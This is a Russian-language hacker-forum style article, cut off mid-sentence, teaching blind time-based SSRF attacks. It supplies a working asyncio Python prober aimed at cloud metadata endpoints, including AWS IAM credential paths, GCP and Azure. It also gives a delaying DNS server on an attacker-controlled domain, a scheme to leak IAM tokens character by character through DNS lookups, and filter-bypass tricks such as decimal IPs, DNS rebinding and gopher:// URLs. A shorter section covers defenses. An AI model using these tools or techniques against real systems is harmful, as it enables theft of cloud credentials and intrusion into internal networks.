Опять эти ваши SSRF... или почему прямо сейчас самое время учиться слепым атакам
Привет, сетевой народ. Тот, кто здесь, в этом тихом углу сети, а не на порталах с очередным «топ-10 уязвимостей». Если ты читаешь это, значит, наша прошлая беседа об SSRF как о золотом билете в облачные метаданные не просто зацепила тебя за живое, а заставила почувствовать тот самый холодок азарта - когда из безликого HTTP-запроса вдруг материализуется ключ от всего королевства. Ты не просто прочитал ту статью. Ты открыл пару консолей, поднял тестовый стенд, возможно, даже нашел что-то у себя и тихо выругался, осознав масштаб. Что ж, отлично. Ты прошел посвящение. Ты должен был уяснить железное правило: классическая SSRF - это ситуация, когда приложение, как самый покорный пес, беспрекословно тащит тебе в зубах ровно то, что ты приказал: будь то чувствительное содержимое файла
file:///etc/passwd, ответ от внутреннего, никому не ведомого HTTP-сервиса на httр://192.168.1.1/admin, или, что есть настоящий джекпот — свеженький, теплый IAM-токен, только что снятый с ротации метаданных с httр://169.254.169.254. Это диалог. Тебя видят. Ты в открытую диктуешь условия и получаешь прямой, недвусмысленный фидбэк. Это сила. Но это сила грубая, заметная, громкая.Но мир, брат, не стоит на месте. Особенно мир параноидальных DevOps и Security-инженеров, которые тоже читают наши статьи. Они учатся. WAF'ы из безмозглых наборов сигнатур эволюционируют в чудовищ, способных анализировать поведение.
Облачные провайдеры, ободранные до нитки на миллионы долларов, вводят дополнительные проверки: IMDSv2 в AWS с обязательным заголовком
X-aws-ec2-metadata-token, который нужно получить отдельным PUT-запросом - прямой удар по наивным SSRF. Прямой вывод данных наружу все чаще упирается не в кирпичную стену, а в интеллектуальную мембрану, которая пропускает воду, но задерживает рыбу. И вот тут, в этот самый момент, когда классик махнул бы рукой, на сцену выходит ее величество - Слепая SSRF (Blind SSRF). Не королева красоты, а королева подполья, мастер теней и интерпретатор тишины.Представь себе конкретную, приземленную ситуацию, которую ты наверняка встречал: ты нашел
endpoint.Скажем,
/api/webhook-validator, /admin/url-preview, /export/fetch-remote. Он принимает параметр url, link, endpoint. Документация говорит: «Система проверяет доступность URL» или «Импортирует данные по ссылке». Ты подсовываешь httр://169.254.169.254. И… ничего. Вернее, не совсем ничего. Приложение не падает, не возвращает тебе содержимое метаданных. Оно возвращает штатное, скучное: {"status": "success", "message": "URL processed"}. Или {"error": "Unable to fetch resource"}. Или интерфейс просто показывает «Готово». Ни строчки прямого ответа от целевого хоста. Классический пентестер, работающий по чек-листу и мыслящий бинарно (уязвимо/неуязвимо), с высокой долей вероятности занесет это в отчет как «Low severity» или даже «Informational»: «Найден потенциальный вектор для SSRF, однако подтвердить эксплуатацию не удалось из-за отсутствия вывода данных. Рекомендация: провести code review. И пойдет дальше, к более ярким и кричащим уязвимостям.Мы - не идем дальше. Мы - копаем. Потому что именно здесь, в этой тихой заводной коробочке без видимого циферблата, и спрятаны настоящие часы, отмеряющие время до компрометации всей инфраструктуры.
Слепая SSRF - это высшая лига. Это не «морской бой в темноте». Это игра в шахматы с абсолютно глухим и слепым гроссмейстером, где единственный способ понять его ход - это измерить, как долго он думает, прежде чем подвинуть фигуру. Ты атакуешь координаты:
httр://internal-service.local/. Но не видишь, попал ли ты в корабль - живой, отзывчивый внутренний сервис, который мгновенно ответил приложению «200 ОК», - или в «пустую воду» - сетевую чёрную дыру, где запрос повис в ожидании таймаута. Нужен иной, нетривиальный канал обратной связи. И самый надежный, фундаментальный, который практически невозможно отключить, не сломав логику самого приложения, — это время.Триггеры времени отклика (Time-based triggers) - наша сегодняшняя тема, наше оружие и наш язык. Это не просто констатация факта «запрос долго висит». Это целая наука, почти алхимия, о том, как заставить серверную инфраструктуру, эту черную коробку, раскрыть свои секреты через управляемые паузы и измеряемые задержки. Если в прошлый раз мы говорили о прямом доступе - о том, как выломать дверь и заглянуть внутрь, - то сегодня мы говорим о сейсмологии. Мы учимся прикладывать геофон к стене дата-центра и слушать, как под землей, в толще сетевых пакетов и системных вызовов, проходят толчки, вызванные нашими действиями. Мы учимся читать метки времени не как технический лог, а как брайлевский шрифт, которым инфраструктура нащупывает свое собственное состояние.
Мы погрузимся в устройство HTTP-клиентов в разных языках, разберем как усиливать слабый временной сигнал, построим собственные инструменты для DNS-манипуляций и научимся отличать статистическую аномалию от реального успеха. Мы напомним, как из прошлой статьи о метаданных вынести не просто список IP-адресов, а понимание ценности цели. Потому что слепую атаку имеет смысл проводить только на то, что действительно стоит таких усилий. А облачные метаданные - стоят. Всегда.
Готовь кофе, отключай лишние вкладки. Мы начинаем слушать тишину.
0x01. Механика слепой SSRF: Почему время - наш союзник
Чтобы понять силу времени, нужно понять, что происходит «под капотом» при Blind SSRF.
- Ты → Приложение:
POST /api/fetch?url=http://169.254.169.254/latest/meta-data/ - Приложение (на бэкенде) пытается загрузить этот URL.
- Что-то происходит:
- Вариант А (Успех): Внутренний
endpoint 169.254.169.254отвечает быстро. Приложение получает ответ, обрабатывает его (но не выдает тебе), и отправляет тебе свой финальный ответ (например,{"status": "ok"}). Время выполнения запроса - ~50 мс. - Вариант Б (Таймаут/Блокировка): Сетевые правила или сам облачный мета-сервис (который сейчас часто требует специального заголовка) отвергают соединение или отвечают ошибкой
(403,404). Приложение ловит исключение и сразу отдает тебе ответ, возможно, даже с ошибкой. Время выполнения - ~100-500 мс (пока таймаут не сработает). - Вариант В (Несуществующий адрес): Приложение пытается разрешить DNS-имя
internal-service.local, не находит его. Таймаут на разрешении имени. Время выполнения - ~2000-5000 мс (зависит от таймаутов в библиотеке).
- Вариант А (Успех): Внутренний
Почему это работает почти всегда?
Потому что разработчик, пишущий код для загрузки URL, редко задумывается о таймингах как об векторе атаки. Он ставит стандартные таймауты (скажем, 5 секунд), ловит исключения и логирует их. Его цель - чтобы приложение не «висло». Наша цель - измерить эту разницу и сделать из нее выводы.
Ключевой принцип: Мы не можем прочитать ответ от внутреннего сервиса, но мы можем обнаружить факт его существования, доступности и иногда даже косвенно определить его характер по времени отклика или по сторонним эффектам (о которых позже).
0x02. Практический инструмент №1: Наш скальпель - скрипт на Python с
asyncio/aiohttpЗабудь про curl в цикле bash. Для слепой SSRF на основе времени нам нужны три вещи: асинхронность (чтобы запускать сотни запросов параллельно), точный замер времени (желательно монотонное время) и гибкость в подстановке данных.
Вот основа, наш «рабочий конь». Сохрани его как
blind_ssrf_timer.py.Не переживай, половина строк - комменты.
Python:
#!/usr/bin/env python3
"""
Blind SSRF Time-based Detective v0.1
"""
import asyncio
import aiohttp
import time
import sys
from urllib.parse import quote
from datetime import datetime
import argparse
import random
# --- КОНФИГ ---
TARGET_URL = "https://vulnerable-target.com/api/import" # Целевой эндпоинт
METHOD = "POST" # Или "GET"
# Параметр, в который подставляется наш URL
PARAM_NAME = "url"
# Дополнительные данные для POST (если нада)
POST_DATA = {"some_key": "some_value"} # aiohttp будет использовать form data
# Или используй json=... в session.post
USE_JSON = False
# Заголовки
HEADERS = {
"User-Agent": "Mozilla/5.0 (Our-Hacking-Tool/1.0)",
"Content-Type": "application/x-www-form-urlencoded" if not USE_JSON else "application/json"
}
# Таймаут для *нашего* запроса к целевому приложению (должен быть больше ожидаемых задержек)
REQUEST_TIMEOUT = 30
# Количество параллельных запросов
CONCURRENCY = 20
# --- ГЛОБАЛЬНЫЕ СТАТЫ ---
stats = {
"total": 0,
"success": 0,
"errors": 0,
"timings": []
}
async def probe(session, test_url_to_fetch, test_name="Test"):
"""
Отправляет один зондирующий запрос к целевому приложению.
test_url_to_fetch - это тот URL, который мы заставляем целевое приложение получить (SSRF).
"""
global stats
stats["total"] += 1
# Формируем данные запроса
params = {PARAM_NAME: test_url_to_fetch}
data = None
json_data = None
if METHOD.upper() == "POST":
if USE_JSON:
# Обновляем JSON, подставляя параметр
json_data = {**POST_DATA, PARAM_NAME: test_url_to_fetch}
else:
# Form data: добавляем параметр к существующим данным
data = {**POST_DATA, PARAM_NAME: test_url_to_fetch}
else:
# Для GET параметры пойдут в URL строку
params = {**params, **POST_DATA} # POST_DATA в данном случае просто другие GET-параметры
target_url = TARGET_URL
if METHOD.upper() == "GET" and params:
# Простейший способ сформировать query string (лучше использовать urllib)
from urllib.parse import urlencode
target_url = TARGET_URL + "?" + urlencode(params)
params = {}
start_time = time.monotonic()
try:
async with session.request(
method=METHOD,
url=target_url,
params=params if METHOD.upper() == "GET" else None,
data=data,
json=json_data,
headers=HEADERS,
timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT)
) as resp:
# Читаем тело ответа, даже если оно пустое (важно для завершения запроса)
response_body = await resp.text()
end_time = time.monotonic()
elapsed_ms = (end_time - start_time) * 1000
stats["success"] += 1
stats["timings"].append(elapsed_ms)
# Анализируем ответ
status = resp.status
# Иногда даже при слепой SSRF по статусу кодам можно что-то понять (500 vs 200)
print(f"[{datetime.now().strftime('%H:%M:%S')}] {test_name:<30} | HTTP {status:3d} | Time: {elapsed_ms:7.2f} ms | Size: {len(response_body):5d} | SSRF-> {test_url_to_fetch}")
return elapsed_ms, status, response_body[:200] # Возвращаем первые 200 символов тела
except asyncio.TimeoutError:
end_time = time.monotonic()
elapsed_ms = (end_time - start_time) * 1000
print(f"[{datetime.now().strftime('%H:%M:%S')}] {test_name:<30} | TIMEOUT ({elapsed_ms:.0f} ms) | SSRF-> {test_url_to_fetch}")
return elapsed_ms, "TIMEOUT", ""
except Exception as e:
end_time = time.monotonic()
elapsed_ms = (end_time - start_time) * 1000
print(f"[{datetime.now().strftime('%H:%M:%S')}] {test_name:<30} | ERROR {str(e)[:30]:<30} | Time: {elapsed_ms:7.2f} ms")
stats["errors"] += 1
return elapsed_ms, "ERROR", str(e)
async def main():
parser = argparse.ArgumentParser(description="Blind SSRF Time-based Detective")
parser.add_argument("-w", "--wordlist", help="Файл со списком хостов/путей для SSRF")
parser.add_argument("-i", "--input", help="Одиночный URL для проверки")
parser.add_argument("-o", "--output", help="Файл для сохранения результатов")
args = parser.parse_args()
test_cases = []
# --- БАЗОВЫЕ ТЕСТ-КЕЙСЫ (Твоя стартовая площадка) ---
# 1. Контрольные точки: быстрый публичный vs медленный/несуществующий
test_cases.append(("CONTROL_FAST", "http://httpbin.org/delay/0.1")) # ~100ms от быстрого внешнего сервиса
test_cases.append(("CONTROL_SLOW", "http://httpbin.org/delay/3")) # ~3000ms
# 2. Классика облачных метаданных (напоминаем из прошлой статьи!)
test_cases.append(("AWS_META", "http://169.254.169.254/latest/meta-data/"))
test_cases.append(("AWS_IAM", "http://169.254.169.254/latest/meta-data/iam/security-credentials/"))
test_cases.append(("GCP_META", "http://metadata.google.internal/computeMetadata/v1/"))
test_cases.append(("AZURE_META", "http://169.254.169.254/metadata/instance?api-version=2021-02-01"))
# 3. Локальные сервисы
test_cases.append(("LOCALHOST", "http://127.0.0.1/"))
test_cases.append(("LOCALHOST_PORT_8080", "http://127.0.0.1:8080/"))
test_cases.append(("DOCKER_GATEWAY", "http://172.17.0.1/"))
# Если есть wordlist, добавляем из нее
if args.wordlist:
with open(args.wordlist, 'r') as f:
for line in f:
host = line.strip()
if host:
# Можно тестировать как просто IP, так и с путем
test_cases.append((f"WL_{host}", f"http://{host}/"))
# Попробуем также с портом 80 и 443 (HTTP)
test_cases.append((f"WL_{host}_80", f"http://{host}:80/"))
test_cases.append((f"WL_{host}_443", f"https://{host}:443/"))
# Если задан одиночный URL
if args.input:
test_cases = [(f"CUSTOM_{args.input}", args.input)]
if not test_cases:
print("Нет тест-кейсов. Используй -w или -i.")
sys.exit(1)
print(f"[*] Начинаем зондирование {TARGET_URL}")
print(f"[*] Метод: {METHOD}, параметр: '{PARAM_NAME}'")
print(f"[*] Параллельных запросов: {CONCURRENCY}")
print("-" * 100)
connector = aiohttp.TCPConnector(limit=CONCURRENCY, force_close=True)
async with aiohttp.ClientSession(connector=connector, headers=HEADERS) as session:
# Создаем задачи для всех тест-кейсов
tasks = []
for test_name, test_url in test_cases:
# Немного рандомизируем задержку между запуском задач, чтобы не ударить одним комом
await asyncio.sleep(random.uniform(0, 0.05))
task = asyncio.create_task(probe(session, test_url, test_name))
tasks.append(task)
# Ждем выполнения всех задач
results = await asyncio.gather(*tasks, return_exceptions=True)
# --- АНАЛИЗ РЕЗУЛЬТАТОВ ---
print("\n" + "="*100)
print("[*] АНАЛИЗ ПО ВРЕМЕНИ ОТКЛИКА")
print("="*100)
# Отфильтруем только успешные результаты
successful_results = [(name, url, res) for (name, url), res in zip(test_cases, results) if isinstance(res, tuple) and res[1] not in ["ERROR", "TIMEOUT"]]
if not successful_results:
print("[!] Нет успешных запросов для анализа. Проверь подключение к цели.")
return
# Сортируем по времени отклика
successful_results.sort(key=lambda x: x[2][0])
print("\nСамые БЫСТРЫЕ ответы (возможно, доступные внутренние сервисы):")
for name, url, (elapsed, status, _) in successful_results[:10]:
print(f" {elapsed:7.2f} ms | {name:<25} -> {url}")
print("\nСамые МЕДЛЕННЫЕ ответы (таймауты, блокировки):")
for name, url, (elapsed, status, _) in successful_results[-10:]:
print(f" {elapsed:7.2f} ms | {name:<25} -> {url}")
# Вычисляем медиану и ищем аномалии
times = [res[2][0] for res in successful_results]
median_time = sorted(times)[len(times) // 2]
print(f"\n[*] Медианное время ответа: {median_time:.2f} ms")
print("[*] Кандидаты на внутренние сервисы (значительно быстрее медианы):")
for name, url, (elapsed, status, _) in successful_results:
if elapsed < median_time * 0.3: # Эвристика: в 3 раза быстрее медианы
print(f" !!! {elapsed:7.2f} ms | {name:<25} -> {url}")
# Статистика
print(f"\n[*] Статистика: Всего: {stats['total']}, Успешно: {stats['success']}, Ошибок: {stats['errors']}")
if __name__ == "__main__":
asyncio.run(main())
Что этот скрипт делает и как его кастомизировать:
- Он асинхронный. Не ждет ответа на один запрос, чтобы отправить следующий.
CONCURRENCY = 20означает 20 параллельных запросов. Это важно для скорости и для создания «шума», который иногда помогает обойти простые системы защиты. - Он использует
time.monotonic(). Это часы, которые не могут идти назад и не зависят от системного времени. Идеально для замера интервалов. - Он гибкий. Через
TARGET_URL,METHOD,PARAM_NAME,POST_DATAнастраивается под конкретную найденную уязвимость. - Он включает контрольные точки.
httр://httpbin.org/delay/0.1и.../delay/3дают нам калибровку. Мы знаем, как выглядит быстрый (100мс) и медленный (3000мс) ответ от цели через приложение. Это наш baseline. - Он автоматически анализирует. В конце скрипт сортирует результаты, вычисляет медиану и выделяет аномально быстрые ответы - наших главных кандидатов на успешную SSRF к внутренним сервисам.
- Найди
endpoint, который, как ты подозреваешь, совершает слепые запросы. - Подставь его данные в конфигурацию скрипта.
- Запусти базовый тест:
python3 blind_ssrf_timer.py - Посмотри на вывод. Если запрос к
169.254.169.254выполнился за 80мс, а к несуществующему10.0.0.999- за 2500мс, у тебя на руках явный признак успешной SSRF к облачным метаданным, даже если тебе не показали токен.
0x03. Продвинутые триггеры: Заставляем сервер «протянуть ноги»
Иногда разница в 50мс и 2000мс очевидна. Но что, если сеть «шумит», или таймауты приложения настроены агрессивно (например, 500мс), или внутренний сервис отвечает не мгновенно? Нужно усиливать сигнал. Наша задача - сделать так, чтобы успешный SSRF-запрос занимал значительно больше или значительно меньше времени, чем неуспешный.
Техника 1: Таймаут на соединении vs таймаут на чтении.
Библиотеки (
libcurl в PHP, requests в Python, HttpClient в Java) обычно имеют два основных таймаута: connection timeout и read timeout. Мы можем создавать условия, где один срабатывает, а другой - нет.- Если внутренний сервис доступен и «молчит»: Мы можем указать в SSRF URL, который откроет соединение (TCP handshake успешен), но затем ничего не пошлет в ответ. Например, мы подключаемся к открытому порту
6379 (Redis), который ждет команд в своем протоколе. Приложение установит соединение (быстро), а потом будет висеть наread timeout, пока не получит данные или не сработает таймаут (скажем, 5 секунд). Долгая задержка! - Если внутренний сервис недоступен:
TCP handshakeне удастся, сработаетconnection timeout(обычно меньше, 1-2 секунды). Относительно короткая задержка.
httр://internal-host/ пробуем httр://internal-host:6379/. Redis, Memcached, базы данных - отличные кандидаты. Важно: приложение должно использовать библиотеку, которая сначала устанавливает TCP-соединение для HTTP-запроса. Большинство так и делают.Техника 2: DNS-задержки как индикатор.
Это одна из самых изящных техник. Помнишь вариант «В» в механике? Если приложение пытается разрешить DNS-имя и не может, это занимает много времени. Мы можем контролировать это.
- Сценарий: У нас есть SSRF, но фильтруют по IP (только внутренние адреса). Мы можем попробовать использовать DNS-имена.
- Как использовать: Заставляем приложение делать запрос к
httр://our-unique-subdomain.our-server.com/. - Что делаем на our-server.com: Поднимаем DNS-сервер (например, dnsmasq), который для всех запросов возвращает IP внутреннего сервиса (например,
127.0.0.1), но делает это с разной задержкой.- Для домена
fаst.our-server.comотвечаем мгновенно. - Для домена
slоw.our-server.comотвечаем с задержкой в 5 секунд.
- Для домена
- Логика: Если приложение может сделать DNS-запрос (сеть разрешает), то оно получит ответ с нашей задержкой. Разница во времени выполнения запроса между fast и slow доменами будет четко видна. Если же приложение не может делать внешние DNS-запросы (заблокировано), оба запроса, скорее всего, завершатся с таймаутом на разрешении имени (и будут медленными и примерно одинаковыми).
Python:
#!/usr/bin/env python3
"""
Minimal DNS server for time-based SSRF detection.
Запуск: sudo python3 dns_delayer.py (порт 53 требует прав)
"""
from dnslib import DNSRecord, QTYPE, RR, A
from dnslib.server import DNSServer
import time
class DelayedDNSResolver:
def resolve(self, request, handler):
reply = request.reply()
qname = request.q.qname
qtype = request.q.qtype
print(f"[DNS] Запрос: {qname}, тип: {QTYPE[qtype]}")
# Наш секретный внутренний IP, который вернется
internal_ip = "127.0.0.1"
# Логика задержки по поддомену
domain_str = str(qname)
if "fast" in domain_str:
delay = 0.0
print(f" -> FAST (0s)")
elif "slow" in domain_str:
delay = 5.0
print(f" -> SLOW (5s)")
elif "ping" in domain_str:
# Для проверки пинга - минимальная задержка
delay = 0.1
print(f" -> PING (0.1s)")
else:
delay = 2.0
print(f" -> DEFAULT (2s)")
# Имитируем задержку сети
time.sleep(delay)
# Возвращаем ответ
if qtype == QTYPE.A:
reply.add_answer(RR(qname, QTYPE.A, rdata=A(internal_ip), ttl=60))
return reply
resolver = DelayedDNSResolver()
server = DNSServer(resolver, port=53, address="0.0.0.0")
print("[*] Задерживающий DNS-сервер запущен на порту 53 (udp)...")
server.start()
Теперь в SSRF-параметр мы подставляем:
httр://fast.our-server.com/test- если это вызовет быстрый ответ от приложения, значит, DNS-запрос прошел.httр://slow.our-server.com/test- должен быть медленным.httр://random123.our-server.com/test- должен быть со средней задержкой.
Техника 3: Эксплуатация различий в обработке ошибок.
Иногда само приложение или бэкендовый компонент (типа curl) по-разному обрабатывает разные типы сетевых ошибок. Одна ошибка может обрабатываться мгновенно (например,
Connection refused на закрытом порту), другая - вызывать длительный таймаут (например, попытка SSL handshake с портом, который открыт, но не говорит по HTTPS).Попробуй:
httр://internal:22/(SSH порт, может сразу отказать в соединении или «висеть»).httрs://internal:443/(Если порт 443 открыт для другого протокола, SSL handshake будет ждать своих таймаутов).httр://internal:80/../../../(Иногда при обработке такого URL сервер тратит больше времени на разбор пути).
0x04. От обнаружения к эксплуатации: Слепое чтение данных
Допустим, мы точно установили, что SSRF есть и мы можем взаимодействовать с внутренним сервисом (например, с тем же мета-сервисом
169.254.169.254). Но он не отдает данные в ответ. Как прочитать токен IAM или содержимое файла метаданных?Здесь время становится нашим битом данных.
Метод: Бинарный поиск через временные задержки (Time-based Blind Data Exfiltration).
Идея: мы заставляем внутренний сервис отвечать быстро, если наш «угадываемый» бит информации верен, и медленно - если неверен.
Сценарий:
Мы хотим прочитать первый символ IAM-токена из
httр://169.254.169.254/latest/meta-data/iam/security-credentials/rolename.- Мы знаем, что токен выглядит как
AQ... (base64). Нам нужен первый символ. - Мы не можем сделать так:
httр://meta-server/...?token=AQ...и посмотреть ответ. - Но мы можем сделать так: заставить внутренний сервис (или само приложение) сравнить первый символ токена с нашим угадываемым символом и, в зависимости от результата, вызвать задержку.
- DNS, опять же. Мы заставляем внутренний сервис сделать DNS-запрос к
guess.оur-server.com, но только если условие верно. Наш DNS-сервер отвечает с задержкой в 5 секунд. Если приложение «зависло» на 5 секунд - бит угадан верно. - Сетевые задержки. Мы можем попробовать заставить сервер подключиться к порту, который отвечает медленно (см. технику 1). Например, если символ угадан, в SSRF-запросе мы указываем URL, который ведет на наш сервер с открытым TCP-портом, но который ничего не шлет (вызывая
read timeout). Если не угадан - указываем URL на закрытый порт (быстрыйconnection refused). - Логика в самом приложении (сложнее, но возможно). Если мы можем внедрить какую-то сложную URL-схему, которую бэкенд будет разбирать (например,
filе:///etc/passwdс инъекцией в путь), мы можем попробовать создать условие, где чтение файла происходит дольше (например, файл большой) при верном бите.
- На стороне атакующего: Сервер, который может динамически генерировать DNS-имена с задержкой.
- Атакующий посылает в SSRF сложный URL:
httр://169.254.169.254/latest/meta-data/iam/security-credentials/s3-reader?+ какая-то инъекция, которая заставляет мета-сервис сделать HTTP-запрос на
httр://first-char-of-tоken-our-random-.our-server.com.- Как заставить мета-сервис сделать запрос? Обычно нельзя. Но можно попробовать использовать техники подделки запросов (например, через редиректы, если мета-сервис их поддерживает, или через инъекцию в заголовки, если приложение их проксирует).
- Если первый символ токена - A, то мета-сервис попытается разрешить имя
а-abc123.оur-server.com. Наш DNS-сервер видит, что первый поддомен начинается с A, и отвечает с задержкой 5 секунд. Весь запрос приложения к мета-сервису (а значит, и наш исходный запрос) занимает ~5.1 секунды. - Если мы проверяли символ B, DNS-запрос был бы к
В-аbc123.our-server.com, наш сервер отвечал бы мгновенно, и общее время было бы ~0.1 секунды. - Измеряя время, мы узнаем первый символ. Процесс повторяется для каждого символа.
- Попробовать получить токен не через
latest/meta-data/iam/security-credentials/, а черезlatest/user-data. Иногда там скрипты с ключами. - Попробовать использовать уязвимости в самом API метаданных (их немного, но они есть).
- Искать
side-channelsпомимо времени: например, можно попробовать вызвать ошибку в приложении, если мета-сервис вернет определенный статус-код (ошибка404 vs 200). Это уже не time-based, а error-based слепая SSRF.
0x05. Оборона: Как не стать жертвой (для наших же своих)
Если ты разраб или девопс, читающий это не для атаки, а для защиты - тебе сюда. Понимание атаки - первый шаг к защите.
1. Валидация и санация входных данных - это must, но не silver bullet.
- Белые списки схем (
https?) и доменов - лучшее решение, если функционал позволяет. - Черные списки (
127.0.0.1,169.254.169.254,localhost,0.0.0.0, приватные диапазоны) обходимы. Через IPv6, альтертивные представления IP(2130706433 для 127.0.0.1), DNS-ребейндинг, поддомены (127.0.0.1.nip.iо). - Парси URL строго. Используй стандартные библиотеки, извлекай
hostnameпосле всех редиректов и нормализаций. Проверяй его через DNS-разрешение и сверяй полученный IP со списком запрещенных.
- Исходящий трафик с бэкенд-серверов приложений должен быть строго ограничен. Запрещено все, что не разрешено явно. Нужно ходить во внешний мир для платежных шлюзов, API? Разреши только
FQDNэтих шлюзов. - Доступ к метаданным изнутри облака должен быть заблокирован на уровне сетевых политик (Security Groups, NACL, VPC Firewall Rules) для всех инстансов, кроме тех, которым это критически необходимо (и для них доступ нужно максимально ограничить по IAM-ролям).
- Используй проектные VPC/изолированные сети. Сервис приложения не должен иметь маршрута до
169.254.169.254.
- Устанавливай агрессивные таймауты на исходящие HTTP-запросы с бэкенда (например, 2 секунды на соединение, 3 секунды на чтение). Это сократит окно для time-атак.
- Логируй все попытки запросов к запрещенным адресам (по DNS-имени и IP) с высокой
severity. Лог должен содержать исходный IP пользователя, запрошенный URL иtimestamp. Это позволит детектировать атаку.
- Все исходящие запросы приложения должны идти через контролируемый прокси-сервер (например, Squid с strict ACL), который сам выполняет фильтрацию. Это выносит точку контроля за пределы кода приложения.
- Для AWS: На последних версиях IMDSv2 обязательно требовать заголовок
X-aws-ec2-metadata-token. Это убивает большинство простых SSRF-атак на метаданные, так как для получения токена нужен PUT-запрос, который редко поддерживается в уязвимых функциях загрузки URL. - Для GCP и Azure также рекомендуется использовать последние версии API метаданных, которые требуют специальных заголовков.
- Проводи тесты на слепую SSRF против своих API. Используй инструменты вроде ffuf или наш скрипт выше с кастомизированными вордлистами (включая все внутренние IP твоего VPC, все возможные адреса метаданных, локальные адреса контейнеров
172.16.0.0/12).
0x06. Итоги. Или «Зачем мы потратили столько времени на время»
Если ты дочитал до этого места, пропустив через себя все эти скрипты, схемы и размышления о DNS-задержках, значит, тебе это не просто любопытно. Ты один из тех, кто понимает, что реальная безопасность и реальное тестирование на проникновение живут не в зеленых галочках сканеров, а в серой зоне косвенных улик и аномалий. Давай закрепим это понимание и выведем его на уровень, на котором ты начнешь думать в этих категориях даже без скриптов под рукой.
Слепая SSRF через триггеры времени отклика - это не просто очередной «вектор атаки». Это принципиально иной способ взаимодействия с системой. Это переход от диалога к диалогу с эхом, от прямого запроса к наблюдению за отраженными вибрациями. Пока мейнстрим ломится в парадную дверь, проверяя стандартные пэйлоады из списка, мы учимся слушать стены.
Почему это искусство, а не просто техника?
Потому что оно требует триады навыков, которую не заменит ни один автоматизированный сканер:
- Инженерная интуиция. Ты должен представлять себе архитектуру: где может быть внутренний сервис (
Kubernetes DNS *.pod.cluster.local?Docker-сеть 172.17.0.0/16?Legacy-система на 10.10.10.0/24?), как настроены таймауты в типовых библиотеках (знать, что curl по умолчанию ждет вечность, а requests в Python имеет разумные дефолты), понимать разницу междуConnectionTimeoutиReadTimeout. Это знание приходит не из документации к уязвимости, а из опыта разбора тысяч стектрейсов и конфигураций. - Статистическое мышление. В реальном мире сеть «шумит». Пинг нестабилен. Нагрузка на сервер гуляет. Твои замеры в 50 мс и 80 мс могут быть статистическим шумом. Нужно уметь отличать сигнал от шума. Отсюда важность базовой линии (baseline). Ты всегда должен начинать с контрольных точек: запрос к быстрому внешнему ресурсу (
httр://httpbin.org/delay/0.1) и к медленному/недоступному. Это твои калибровочные метки. И важно проводить не один, а десяток запросов, смотреть на медиану, на квантили, а не на единичное значение. Автоматизация (как в нашем скрипте) нужна не для скорости, а для сбора статистически значимой выборки. - Терпеливая изобретательность. Техника с DNS-задержками - прекрасный пример. Это не готовый сплойт. Это конструктор. Ты берешь фундаментальный протокол (DNS), вспоминаешь, что на его уровне можно инжектить задержки, и комбинируешь это с ограничениями SSRF (фильтрация IP). Рождается новый метод обхода. То же самое с таймаутами на чтение vs соединение. Это не поиск уязвимости - это создание условия, при котором уязвимость проявляет себя.
169.254.169.254, но и все его варианты:- AWS IMDSv2 и требование заголовка
X-aws-ec2-metadata-token. - GCP с его
metadata.google.internalи обязательным заголовкомMetadata-Flavor: Google. - Azure с его длинным путем
/metadata/instance?api-version=.... - Alibaba Cloud, DigitalOcean, Oracle Cloud - у каждого своя точка.
- И главное: сервисы вроде AWS ECS, где метаданные контейнера доступны через
169.254.170.2и переменную окружения$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.
Твои инструменты теперь - не просто скрипты, а ментальные модели:
- Мышление в миллисекундах и вероятностях. Каждый запрос - не «успех/провал», а точка на графике с координатой «время». Ты ищешь кластеры точек. Группа запросов к
169.254.169.254легла в облако вокруг 120 мс? А группа запросов к случайным несуществующим IP10.0.0.Х- вокруг 2500 мс? Поздравляю, ты только что слепо подтвердил наличие и доступность мета-сервиса. Это вероятностное, статистическое доказательство. Оно не абсолютно, но в сочетании с другими данными (например, HTTP-кодами 200 vs 500) становится железным. - Асинхронный скрипт-зонд для первичной разведки - это твои глаза и уши.Но помни:
- Калибруй его. Перед атакой на продакшн протестируй на своем стенде с похожей архитектурой. Узнай, как ведет себя твое целевое приложение в «норме».
- Настраивай таймауты. Параметр
REQUEST_TIMEOUTв скрипте - это не просто число. Если ты его поставишь 5 секунд, а приложение на своей стороне имеет таймаут 10 секунд, ты не дождешься отличий. Нужно пытаться подобрать. - Анализируй не только время. Смотри на HTTP-статусы, на размер ответа (даже если это просто
{"status":"ok"}- его размер постоянен? А если при внутренней ошибке приложение возвращает{"status":"error", "reason":"..."}- размер изменился? Это еще один, независимый от времени, side-channel). - Вноси «шум» целенаправленно. Иногда полезно добавить в очередь запросов случайные, заведомо медленные вызовы, чтобы проверить, не детектирует ли система атаку и не начинает ли она искусственно «сглаживать» тайминги.
- Понимание техник усиления сигнала - это твой усилитель.
- DNS-задержки - твой лучший друг для обхода IP-фильтров и создания бинарных условий («если верно, то жди 5 секунд»). Практическое задание: подними
dnsmasqна своей VPS, настрой две зоны:fast.lab с TTL 1 и ответом A 127.0.0.1, иslow.lab с A 127.0.0.1, но с искусственной задержкой в 3 секунды в конфиге через--query-delay. Поэкспериментируй. - Таймауты соединения vs чтения. Запомни: порт
22 (SSH)на живом хосте часто сразу закрывает соединение, отправляяTCP RST. Это быстро. Порты типа6379 (Redis),9200 (Elasticsearch),27017 (MongoDB)принимают соединение и ждут данных по своему протоколу. Это вызовет долгийread timeout. Используй это для фингерпринтинга внутренних сервисов. - Разные схемы URL. Попробуй
dict://,gopher://,file://(если разрешено). Поведение библиотек при обработке неизвестных схем или ошибках доступа к файловой системе может кардинально отличаться по времени.
- DNS-задержки - твой лучший друг для обхода IP-фильтров и создания бинарных условий («если верно, то жди 5 секунд»). Практическое задание: подними
- Знание оборонительных тактик - это твоя обратная сторона, которая делает тебя сильнее в атаке.Ты не просто ищешь дыры. Ты понимаешь, как их латают. Поэтому ты знаешь, где будут слабые места в заплатах:
- Фильтрация по черному списку IP? Обойдем через
IPv6 ([::1]), через десятичное представление, через DNS-ребейндинг (lоcalhost.attacker.com→CNAME→127.0.0.1). - Запрет HTTP к метаданным? Попробуем HTTPS. Заблокировали и HTTPS? Проверим, не забыли ли они про
IMDSv2, который требует PUT-запроса для токена. Может, старая версия API еще жива? - Жесткие таймауты на приложении? А что, если внутренний сервис ответит еще быстрее, чем таймаут на ошибку? Нужно искать не только медленные, но и аномально быстрые ответы.
- Фильтрация по черному списку IP? Обойдем через
Слепая SSRF - это трамплин. Освоив ее, ты начинаешь видеть аналогичные паттерны повсюду:
- Blind SQL Injection: Тот же принцип - заставляешь базу данных спать
